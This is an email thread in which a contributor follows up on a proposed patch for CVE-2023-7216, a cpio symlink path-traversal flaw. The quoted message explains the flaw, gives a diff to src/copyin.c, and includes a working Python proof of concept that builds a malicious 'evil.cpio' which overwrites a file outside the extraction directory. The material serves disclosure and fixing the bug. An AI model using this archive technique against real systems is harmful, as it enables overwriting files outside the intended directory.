Hi Sergey, Have you had the time to review this issue? Please let me know, would appreciate an update.
Regards On Wed, May 27, 2026 at 2:57 PM Sujal Tuladhar <[email protected]> wrote: > Hello Sergey, > > Sending a small patch for CVE-2023-7216 (path traversal via through-symlink > extraction). The CVE has been on NVD since 2023 but the fix has not landed > upstream; Red Hat carries a distro-only mitigation. > > At HEAD (3cd5140), `copyin_link` in `src/copyin.c:791-815` calls > `UMASKED_SYMLINK` directly whenever `--no-absolute-filenames` is not in > effect. The mitigation primitive `symlink_placeholder` / > `replace_symlink_placeholders` already exists in the same file but is only > reachable through the `no_abs_paths_flag` branch. Removing the gate so the > placeholder path is always taken closes the CVE without any new code. > > The placeholder approach is already known to be correct under > attacker-controlled inputs: > > - `symlink_placeholder` at `src/copyin.c:663-712` creates a > zero-permission regular file at the entry's path. > - `replace_symlink_placeholders` at `src/copyin.c:714-764` walks the > deferred table at the end of `process_copy_in` and atomically swaps > each placeholder for the real symlink (also applying mode/uid/gid/ > mtime). It guards against substitution via `lstat` + `st_dev/st_ino` > comparison before unlinking the placeholder. > > Because the placeholder is a regular file while extraction is in progress, > any later archive entry whose path traverses it (e.g. "outside/passwd" > where "outside" was a symlink entry earlier in the archive) sees ENOTDIR > on the parent component and the malicious write is refused. After > extraction completes, the placeholder is replaced with the genuine > symlink, so the on-disk result for benign archives is identical. > > > Reproducer (against an unpatched build of HEAD) > ----------------------------------------------- > > $ python3 build-poc.py # generates evil.cpio > $ mkdir -p /tmp/victim /tmp/sandbox > $ echo "ORIGINAL" > /tmp/victim/secret.txt > $ ( cd /tmp/sandbox && /path/to/built/cpio -id < evil.cpio ) > $ cat /tmp/victim/secret.txt > PWNED-VIA-SYMLINK-TRAVERSAL > > The minimal generator script is attached at the end of this email for > convenience. > > After applying the patch, the same command sequence yields: > $ cat /tmp/victim/secret.txt > ORIGINAL > > > Patch > ----- > > Attached as > `0001-copyin-always-materialise-symlinks-via-placeholder-C.patch` > generated with `git format-patch [email protected]`. Inline copy > below for archive-grep convenience: > > > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > > From b80530f7f4285c9ebb600106642cbb8594dfb61d Mon Sep 17 00:00:00 2001 > From: evilgensec <[email protected]> > Date: Wed, 27 May 2026 14:52:09 +0545 > Subject: [PATCH] copyin: always materialise symlinks via placeholder > (CVE-2023-7216) > > Before this change, copyin_link() created the symbolic link > immediately via UMASKED_SYMLINK whenever --no-absolute-filenames was > not in effect. An archive containing a symlink entry followed by > another entry inside that symlink (e.g. "outside -> /etc" then > "outside/passwd") therefore caused the second entry to traverse the > just-created symlink and write outside the extraction tree, exactly > the pattern documented as CVE-2023-7216. > > The deferred-creation primitive symlink_placeholder() / replace_symlink > _placeholders() already exists in the file and is correct under > attacker-controlled inputs: it lays down a zero-permission regular > file at extraction time and only swaps it for the real symbolic link > at the end of process_copy_in, after all archive entries have been > written. No subsequent entry can be redirected through the symlink > because at the moment its path is opened, the placeholder file is > still a regular file and open(2) on "outside/anything" fails with > ENOTDIR. > > Remove the no_abs_paths_flag gate around the placeholder branch so > the safe path is always taken. The deferred replacement already > applies the requested mode, owner and timestamp, so behaviour for > benign archives is unchanged. > > * src/copyin.c (copyin_link): drop the immediate-UMASKED_SYMLINK > branch and the unused res variable. > > CVE: CVE-2023-7216 > --- > src/copyin.c | 32 ++++++-------------------------- > 1 file changed, 6 insertions(+), 26 deletions(-) > > diff --git a/src/copyin.c b/src/copyin.c > index 7ed9474..e43c11c 100644 > --- a/src/copyin.c > +++ b/src/copyin.c > @@ -767,7 +767,6 @@ static void > copyin_link (struct cpio_file_stat *file_hdr, int in_file_des) > { > char *link_name = NULL; /* Name of hard and symbolic links. */ > - int res; /* Result of various function calls. */ > > if (archive_format != arf_tar && archive_format != arf_ustar) > { > @@ -788,31 +787,12 @@ copyin_link (struct cpio_file_stat *file_hdr, int > in_file_des) > link_name = xstrdup (file_hdr->c_tar_linkname); > } > > - if (no_abs_paths_flag) > - symlink_placeholder (link_name, file_hdr->c_name, file_hdr); > - else > - { > - res = UMASKED_SYMLINK (link_name, file_hdr->c_name, > - file_hdr->c_mode); > - if (res < 0 && create_dir_flag) > - { > - create_all_directories (file_hdr->c_name); > - res = UMASKED_SYMLINK (link_name, file_hdr->c_name, file_hdr->c_mode); > - } > - if (res < 0) > - symlink_error (link_name, file_hdr->c_name); > - else if (!no_chown_flag) > - { > - uid_t uid = set_owner_flag ? set_owner : file_hdr->c_uid; > - gid_t gid = set_group_flag ? set_group : file_hdr->c_gid; > - if (lchown (file_hdr->c_name, uid, gid) < 0 && errno != EPERM) > - chown_error_details (file_hdr->c_name, uid, gid); > - } > - > - if (retain_time_flag) > - set_file_times (-1, file_hdr->c_name, file_hdr->c_mtime, > - file_hdr->c_mtime, AT_SYMLINK_NOFOLLOW); > - } > + /* Always create symbolic links through symlink_placeholder so that > + later archive entries cannot be redirected by a freshly-extracted > + symlink (CVE-2023-7216). The real symlink is materialised at the > + end of extraction by replace_symlink_placeholders, which also > + applies the requested mode, owner and timestamp. */ > + symlink_placeholder (link_name, file_hdr->c_name, file_hdr); > free (link_name); > } > > -- > 2.50.1 > > > <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< > > > Reproducer script (build-poc.py) > -------------------------------- > > #!/usr/bin/env python3 > def newc_entry(name, mode, content, ino=0, mtime=1700000000): > if isinstance(content, str): > content = content.encode() > name_bytes = (name + '\0').encode() > namesize = len(name_bytes) > filesize = len(content) > header = b'070701' + b''.join(b'%08x' % v for v in ( > ino, mode, 0, 0, 1, mtime, filesize, 0, 1, 0, 0, namesize, 0)) > entry = header + name_bytes > entry += b'\0' * ((-len(entry)) & 3) > entry += content > entry += b'\0' * ((-len(content)) & 3) > return entry > > S_IFLNK = 0o120000 > S_IFREG = 0o100000 > > archive = newc_entry('outside', S_IFLNK | 0o777, b'/tmp/victim', ino=2) > archive += newc_entry('outside/secret.txt', S_IFREG | 0o644, > b'PWNED-VIA-SYMLINK-TRAVERSAL\n', ino=3) > archive += newc_entry('TRAILER!!!', 0, b'', ino=0) > open('evil.cpio', 'wb').write(archive) > > > Notes > ----- > > I did not run autotools locally (macOS, missing gettext); the change is > strictly to `src/copyin.c` and `git apply` against HEAD applies cleanly. > Happy to attach a full v2 with autotools regeneration if helpful. > > If credit is offered on a future ChangeLog or release announcement, > please credit as "evilgensec". > > Best, > evilgensec >
